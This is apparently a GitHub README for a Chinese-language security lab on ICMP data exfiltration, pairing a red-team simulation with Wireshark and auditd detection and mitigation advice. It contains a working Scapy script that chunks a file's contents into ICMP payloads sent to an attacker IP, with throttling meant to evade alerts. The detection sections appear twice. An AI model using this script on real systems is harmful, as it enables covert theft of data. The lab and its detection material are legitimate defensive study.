Atai225/ICMP-Data-Exfiltration-Detection
GitHub: Atai225/ICMP-Data-Exfiltration-Detection
一个端到端 ICMP 数据渗出安全实验项目,涵盖基于 Scapy 的红队模拟脚本以及 Wireshark 网络分析和 Auditd 端点检测的双层蓝队防御方案。
Stars: 0 | Forks: 0
# 基于 ICMP 的数据渗出:模拟、检测与分析
## 📌 项目概述
本项目演示了**通过替代协议(ICMP)进行数据渗出**的端到端场景,直接映射到 **MITRE ATT&CK 框架: T1048**。
本项目的目标是同时充当红队(通过自定义 Python/Scapy 脚本模拟威胁)和蓝队(使用 **Wireshark** 进行网络分析检测,并使用 Linux **Auditd** 进行基于主机的监控)。
### 展示的关键技能:
* **网络安全:** 分析 ICMP 负载异常和协议滥用。
* **自动化/脚本编写:** 使用 Python 和 `Scapy` 创建自定义的数据包构造工具。
* **端点检测:** 配置基于主机的审计策略(`auditd`)以追踪未经授权的文件访问。
* **防御工程:** 将原始流量和端点日志转化为可操作的安全洞察。
## 🏗️ 实验环境架构
本项目在一个完全隔离、低开销的虚拟环境(VirtualBox Host-Only Network)中执行,旨在优化资源使用(低于 8GB RAM)。
* **受害端点:** Ubuntu Server/Desktop(隔离的 Host-Only IP)。
* **攻击者 / 监控节点:** Kali Linux(充当 C2 监听器和流量嗅探器)。
## 🎯 阶段 1:模拟(红队)
### 渗出脚本 (`exfil.py`):
```
import time
from scapy.all import IP, ICMP, send
ATTACKER_IP = "192.168.56.102" # Kali Linux IP
FILE_TO_STEAL = "sensitive_data.txt"
def exfiltrate():
with open(FILE_TO_STEAL, "r") as f:
data = f.read().strip()
print(f"[*] Starting exfiltration of: {FILE_TO_STEAL}")
# Splitting data into 4-character chunks
chunk_size = 4
chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
for chunk in chunks:
# Crafting custom IP/ICMP packet with text payload
packet = IP(dst=ATTACKER_IP) / ICMP(type=8) / chunk
print(f"[+] Sending chunk: {chunk}")
send(packet, verbose=False)
time.sleep(1) # Throttling to evade basic threshold alerts
print("[*] Exfiltration complete.")
if __name__ == "__main__":
exfiltrate()
```
## 🔍 阶段 2:检测与分析(蓝队)
本项目的核心价值在于网络和主机层面的检测机制。
### 1. 网络分析 (Wireshark)
标准的 ICMP (ping) 流量包含可预测的、连续的或填充的垃圾数据。在分析捕获的 PCAP 时,发现了几个主要的异常情况:
* **负载篡改:** ICMP 数据包的 hex dump 明确包含了明文字符串(`SECR`、`ET_F`、`LAG{`),而不是标准的 OS 填充。
* **长度异常:** 数据包大小偏离了标准的 OS ping 特征。
### 2. 基于主机的检测 (Linux Auditd)
为了确保在网络流量被加密或遗漏的情况下依然具有可见性,使用 `auditd` 部署了严格的文件完整性和访问策略。
在敏感文件上设置了监视规则,以监控读取(`r`)操作,并使用了自定义过滤键 `exfil_attempt`:
```
sudo auditctl -w /home/user/sensitive_data.txt -p r -k exfil_attempt
```
当渗出脚本执行时,`auditd` 成功捕获了该事件。运行 `sudo ausearch -k exfil_attempt` 揭示了导致此次受损的确切来源:
### 识别出的关键日志工件:
* `type=SYSCALL`:触发了系统级别的文件读取。
* `exe="/usr/bin/python3.12"`:识别出用于访问该文件的确切二进制文件/解释器,证实其不是标准的文本编辑器或授权服务。
* `key="exfil_attempt"`:成功映射到我们特定的安全监控警报。
## 🛡️ 缓解与加固建议
为了在生产环境中防御诸如 ICMP/DNS 隧道等协议滥用技术:
* **网络层面:** 在防火墙上实施**深度包检测 (DPI)**,以丢弃包含非标准负载数据或大小异常的 ICMP 数据包。如果并非网络诊断严格所需,请完全阻止出站的 ICMP 流量。
* **端点层面:** 部署 **EDR/SIEM 规则**(例如 Wazuh/Sysmon),以便在非标准进程(如 Python、PowerShell 或未知二进制文件)访问敏感业务目录时发出警报。
* **SIEM 关联:** 创建关联规则,当不受信任的进程发生**文件读取事件**,随后立即通过非标准或诊断协议进行出站网络流量传输时,触发高严重性警报。
### 2. 基于主机的检测 (Linux Auditd)
为了确保在网络流量被加密或遗漏的情况下依然具有可见性,使用 `auditd` 部署了严格的文件完整性和访问策略。
在敏感文件上设置了监视规则,以监控读取(`r`)操作,并使用了自定义过滤键 `exfil_attempt`:
```
sudo auditctl -w /home/user/sensitive_data.txt -p r -k exfil_attempt
```
当渗出脚本执行时,`auditd` 成功捕获了该事件。运行 `sudo ausearch -k exfil_attempt` 揭示了导致此次受损的确切来源:
### 识别出的关键日志工件:
* `type=SYSCALL`:触发了系统级别的文件读取。
* `exe="/usr/bin/python3.12"`:识别出用于访问该文件的确切二进制文件/解释器,证实其不是标准的文本编辑器或授权服务。
* `key="exfil_attempt"`:成功映射到我们特定的安全监控警报。
## 🛡️ 缓解与加固建议
为了在生产环境中防御诸如 ICMP/DNS 隧道等协议滥用技术:
* **网络层面:** 在防火墙上实施**深度包检测 (DPI)**,以丢弃包含非标准负载数据或大小异常的 ICMP 数据包。如果并非网络诊断严格所需,请完全阻止出站的 ICMP 流量。
* **端点层面:** 部署 **EDR/SIEM 规则**(例如 Wazuh/Sysmon),以便在非标准进程(如 Python、PowerShell 或未知二进制文件)访问敏感业务目录时发出警报。
* **SIEM 关联:** 创建关联规则,当不受信任的进程发生**文件读取事件**,随后立即通过非标准或诊断协议进行出站网络流量传输时,触发高严重性警报。标签:Auditd, Python, Scapy, Wireshark, 句柄查看, 无后门, 网络安全, 网页分析工具, 逆向工具, 隐私保护